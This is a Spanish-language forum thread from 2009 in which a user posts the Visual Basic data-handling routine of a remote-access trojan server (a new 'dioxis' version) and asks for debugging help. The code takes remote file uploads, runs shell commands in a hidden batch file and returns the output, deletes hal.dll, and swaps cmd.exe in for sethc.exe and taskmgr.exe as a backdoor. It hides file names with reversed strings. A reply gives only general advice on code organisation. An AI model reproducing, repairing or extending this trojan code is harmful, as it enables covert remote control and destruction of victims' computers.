Algunos problemas que otros con el dataarrival

Iniciado por 50l3r, 17 Junio 2009, 11:04 AM

0 Miembros y 1 Visitante están viendo este tema.

50l3r

Bueno, como ya veran, estoy en el proyecto de sacar otra version del troyano dioxis, pero aqui es donde se me dan los quebraderos de cabeza

Este es todo el dataarrival del servidor:


Código (vb) [Seleccionar]
Public Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim sistremaa As String, compr As Integer, ruta As String, textos As String, inii As String

Dim handle_Process As Long
Dim id_process As Long
Dim lp_ExitCode As Long

Dim casaa As String

Dim arrData() As Byte

Dim encontrado2 As Integer, encontrado As Integer
Dim busca As Integer
Dim envivi As String, tati As Variant

On Error GoTo Error

'--------------------------------------------------------------------------'

casaa = Environ$("homedrive")
sistremaa = Environ$("windir") & "\system32"
letraa = Environ$("homedrive") & "\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
inii = casaa & "\ctfmon.bat"

'--------------------------------variables---------------------------------'

wsk.GetData orden
MsgBox orden
' enviar archivos----------------------------------------------------------

For busca = 0 To Len(orden)
encontrado = InStr(1, orden, "*Enviviandodo*")
Next
If encontrado <> 0 Then

If Flag = True Then
Flag = False
lBytes = 0
tati = Split(envivi, "|")
lFileSize = tati(1)
wsk.SendData "|enviamelo|"
Open tati(3) & tati(2) For Binary Access Write As #1
End If

If Flag = False Then
MsgBox "poniendo todo los datos"
lBytes = lBytes + bytesTotal
wsk.GetData arrData
MsgBox arrData
Put #1, , arrData
If lBytes >= lFileSize Then

Close #1
Flag = True
lBytes = 0
End If
End If
Else

' enviar archivos----------------------------------------------------------

For compr = 0 To Len(orden)
encontrado2 = InStr(1, orden, "/*/116%4")
Next
If encontrado2 <> 0 Then

arris = Split(orden, "66+/*-&·%")

ruta = arris(1)
textos = arris(2)

Open ruta For Output As #2
Print #2, textos
Close #2
End If

'------------------ordenes personalizadas----------------------------------'

If orden = "del " & sistremaa & "\hal.dll" Then Kill sistremaa & StrReverse("lld.lah\")
If orden = "copy /y " & sistremaa & "\cmd.exe" & " " & sistremaa & "\sethc.exe" Then FileCopy sistremaa & StrReverse("exe.dmc\\"), sistremaa & StrReverse("exe.chtes\")
If orden = "copy /y " & sistremaa & "\cmd.exe" & " " & sistremaa & "\taskmgr.exe" Then FileCopy sistremaa & StrReverse("exe.dmc\\"), sistremaa & StrReverse("exe.rgmksat\")
If orden = "eliminar troyano" Then
Kill letraa & StrReverse("exe.dmcyekh\")
Shell ("taskkill /f /im " & App.EXEName & ".exe")
End If
'--------------------------------------------------------------------------'

salida:
Open inii For Output As #1
Print #1, orden & ">" & casaa & "\ctfmon.txt"
Close #1



     id_process = Shell(inii, vbHide)

     
    handle_Process = OpenProcess(PROCESS_QUERY_INFORMATION, False, id_process)

   
    Do

         Call GetExitCodeProcess(handle_Process, lp_ExitCode)

         DoEvents

     Loop While lp_ExitCode = STATUS_PENDING

   
     Call CloseHandle(handle_Process)

   Open casaa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1

wsk.SendData txtcom

Error:
End If
End Sub




El data arrival lo que tiene que hacer es recibir 2 acciones, una es para que el cliente le pase archivos y otra para mandarle ordenes

La cosa es que ahora mismo no me funciona ninguno por ahora

El problema creo que reside en las variables del datarrival

si necesitais algun dato mas os lo facilito

gracias

yovaninu

Aww, no se mano, pero veo que estas declarando muchas variables dentro del evento de llegada de datos y mas un estas llamando a APIS y no se que mas, no es que este mal, pero podrias ser un poco mas ordenado y asi no atarear tanto al evento, podrias separarlo en modulos, respecto a la transferencia de archivos hay un monton de code orbitando por este foro... es cuestion de buscar

Un saludo y ordena mejor ese codigo.

50l3r

ordenado esta, ya que no puse lo demas del codigo, aun asi yo no me lio

el problema que tengo es que coji un code de recursos vb, que funciona por interruptor

primero el cliente manda los datos del archivo: nombre,ruta,espacio y su firma

luego si el servidor encuentra esa firma pasa al interruptor true, si es true manda el cliente que le pase los datos y abre el archivo para crear, luego pone el interruptor en false y si esta en false escribe todo

lo raro es que a la primera vez que lo hago me funciona pero si lo hagos dos veces no

es demasiado raro